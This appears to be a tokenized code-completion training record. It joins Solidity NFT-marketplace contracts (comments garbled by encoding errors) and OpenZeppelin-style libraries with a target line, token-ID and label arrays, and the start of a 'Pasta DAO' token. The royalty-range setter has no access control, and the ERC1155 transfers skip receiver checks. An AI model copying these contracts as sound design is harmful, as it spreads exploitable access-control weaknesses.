uint256 private _royaltyMaximum = 90; // ๋ก์ดํฐ ์ต๋๊ฐ
//event
event Mint(uint256 id,uint256 supply, string uri, address indexed creator, uint256 royaltyRatio);
/* keccak256
Mint(uint256,uint256,string,address,uint256) : 0x21881410541b694573587a7b14f2da71c815c0d7e24797822fe90249daaf884e
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
RoleGranted(bytes32,address,address) : 0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d
RoleRevoked(bytes32,address,address) : 0xf6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b
*/
constructor (string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
_setupRole(DEFAULT_ADMIN_ROLE,_msgSender()); //MINTER_ROLE Amin ์ค์
addWhiteList(_msgSender());
}
/**
* @dev setPrivateMarket : Private Market set
*
* Requirements:
*
* - 100% ์ดํ
*/
function setPrivateMarket(bool isPrivate_) external onlyOwner {
_isPrivate = isPrivate_;
}
function getPrivateMarket() external view returns(bool) {
return _isPrivate;
}
/**
* @dev setRoyaltyRange : Royalty Range set
*
* Requirements:
*
* Royalty min <= Royalty max
* 0<= Royalty max <= 100
*/
function setRoyaltyRange(uint256 min,uint256 max) external {
require(max >= min,"NFTBase/should_be_(max >= min)");
require(max <= 100,"NFTBase/should_be_(max <= 100)");
_royaltyMinimum = min;
_royaltyMaximum = max;
}
function getRoyaltyRange() external view returns(uint256,uint256) {
return (_royaltyMinimum,_royaltyMaximum);
}
/**
* @dev addWhiteList : whitelist account add
*
* Requirements:
*
* MINTER_ROLE์ ๋ณด์ ํ๊ณ ์์ง ์์ address
* msg_sender๊ฐ DEFAULT_ADMIN_ROLE ๋ณด์ ํด์ผ
*
* Event : RoleGranted
*/
function addWhiteList(address minter) public {
require(!hasRole(MINTER_ROLE,minter),"NFTBase/minter_has_role_already");
grantRole(MINTER_ROLE,minter);
}
/**
* @dev removeWhiteList : whitelist account remove
*
* Requirements:
*
* MINTER_ROLE์ ๋ณด์ ํ๊ณ ์๋ address
* DEFAULT_ADMIN_ROLE DEFAULT_ADMIN_ROLE ๋ณด์ ํด์ผ
*
* Event : RoleRevoked
*
*/
function removeWhiteList(address minter) external {
require(hasRole(MINTER_ROLE,minter),"NFTBase/minter_has_not_role");
revokeRole(MINTER_ROLE,minter);
}
/**
* @dev mint : NFT Token ๋ฐํ
*
* Requirements:
*
* supply > 0, uri != "", creator != address(0)
* royalty : royalty Range์์
* Private Market์ ๊ฒฝ์ฐ msg.seder๋ MINTER_ROLE์ ๋ณด์ ํด์ผ
*
* Event : TransferSingle
*/
/**
* Only incaseof private market, check if caller has a minter role
*/
function mint(uint256 supply, string memory uri, address creator, uint256 royaltyRatio) public returns(uint256 id) {
require(supply > 0,"NFTBase/supply_is_0");
require(!compareStrings(uri,""),"NFTBase/uri_is_empty");
require(creator != address(0),"NFTBase/createor_is_0_address");
require(_royaltyMinimum <= royaltyRatio && royaltyRatio <= _royaltyMaximum,"NFTBase/royalty_out_of_range");
if(_isPrivate)
require(hasRole(MINTER_ROLE,_msgSender()),"NFTBase/caller_has_not_minter_role");
id = ++_currentTokenId;
_tokens[id].supply = supply;
_tokens[id].uri = uri;
_tokens[id].creator = creator;
_tokens[id].royaltyRatio = royaltyRatio;
ERC1155._mint(_msgSender(),id,supply,""); // TransferSingle Event
emit Mint(id,supply,uri,creator,royaltyRatio);
}
/**
* @dev uri : NFT Token uri ์กฐํ MI
*/
function uri(uint256 id) external view returns (string memory) {
return _tokens[id].uri;
}
/**
* @dev getCreator : NFT Creator์กฐํ
*/
function getCreator(uint256 id) external view returns (address) {
return _tokens[id].creator;
}
/**
* @dev getRoyaltyRatio : NFT RoyaltyRatio ์กฐํ
*/
function getRoyaltyRatio(uint256 id) external view returns (uint256) {
return _tokens[id].royaltyRatio;
}
/**
* @dev compareStrings : string์ ์ํธํํด์ ๋น๊ต
* Solidiy string ๋น๊ตํจ์ ์ ๊ณตํ์ง ์์
*/
function compareStrings(string memory a, string memory b) private pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
/**
* @dev getTokenData : TokenData Return
*/
function getTokenData(uint256 id) external view
returns(
uint256
,string memory
,address
,uint256)
{
TokenData memory td = _tokens[id];
return (
td.supply
,td.uri
,td.creator
,td.royaltyRatio
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./utils/Address.sol";
import "./access/Ownable.sol";
/**
*
* @dev ๊ฒฐ์ ์ฉ ERC20 Token List
*
*/
contract ERC20TokenList is Ownable {
using Address for address;
address[] private _addresses;
mapping (address => uint256) private _indexes; // 1-based 1,2,3.....
/**
* @dev contains : ๊ธฐ์กด ๋ฑ๋ก ์ฌ๋ถ ์กฐํ
*/
function contains(address addr) public view returns (bool) {
return _indexes[addr] != 0;
}
/**
* @dev addToken : ERC20 Token ์ถ๊ฐ
*
* Requirements:
*
* address Not 0 address
* ์ค๋ณต์ฌ๋ถ ํ์ธ
* address๊ฐ contract ์ธ์ง ํ์ธ
*
*/
function addToken(address addr) public onlyOwner {
//console.log("address = %s",addr);
//console.log("contains = %s",contains(addr));
require(addr != address(0),"TokenList/address_is_0");
require(!contains(addr),"TokenList/address_already_exist");
require(addr.isContract(),"TokenList/address_is_not_contract");
_addresses.push(addr);
_indexes[addr] = _addresses.length;
}
/**
* @dev removeToken : ERC20 Token ์ญ์
*
* Requirements:
*
* ๊ธฐ์กด ์กด์ฌ์ฌ๋ถ ํ์ธ
* address๊ฐ contract ์ธ์ง ํ์ธ
*
*/
function removeToken(address addr) public onlyOwner {
require(contains(addr),"TokenList/address_is_not_exist");
uint256 idx = _indexes[addr];
uint256 toDeleteIndex = idx - 1;
uint256 lastIndex = _addresses.length - 1;
address lastAddress = _addresses[lastIndex];
_addresses[toDeleteIndex] = lastAddress;
_indexes[lastAddress] = toDeleteIndex + 1;
_addresses.pop();
delete _indexes[addr];
}
/**
* @dev getAddressList : ERC20 Token List return
*
*/
function getAddressList() public view returns (address[] memory) {
return _addresses;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC1155.sol";
import "../introspection/ERC165.sol";
import "../math/SafeMath.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155 {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/**
* @dev
*/
constructor () {
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Rbaequirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
)
public
virtual
override
{
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
address operator = _msgSender();
_balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer");
_balances[id][to] = _balances[id][to].add(amount);
emit TransferSingle(operator, from, to, id, amount);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
public
virtual
override
{
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
address operator = _msgSender();
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
_balances[id][from] = _balances[id][from].sub(
amount,
"ERC1155: insufficient balance for transfer"
);
_balances[id][to] = _balances[id][to].add(amount);
}
emit TransferBatch(operator, from, to, ids, amounts);
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_balances[id][account] = _balances[id][account].add(amount);
emit TransferSingle(operator, address(0), account, id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
for (uint i = 0; i < ids.length; i++) {
_balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]);
}
emit TransferBatch(operator, address(0), to, ids, amounts);
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
}
|
auction true, fixed_price false
|
bool isAuction;
| 11,759,790 |
[
1,
69,
4062,
638,
16,
5499,
67,
8694,
629,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
1426,
25997,
4062,
31,
4202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-04
*/
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
interface TokenInterface {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pasta {
/// @notice EIP-20 token name for this token
string public constant name = "Pasta DAO ๐";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "PASTA";
string public constant errorMsg = "It's all pasta ๐๐งโ๐๐ซ๐งโ๐";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply;
/// @notice Address of UNI-V2 ETH/PASTA LP Token
TokenInterface public constant food = TokenInterface(0xE92346d9369Fe03b735Ed9bDeB6bdC2591b8227E);
/// @notice Cooldown period in seconds
uint public immutable COOLDOWN_SECONDS;
/// @notice Seconds available to redeem once the cooldown period is fullfilled
uint public immutable REDEEM_WINDOW;
mapping(address => uint) public holderCooldowns;
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
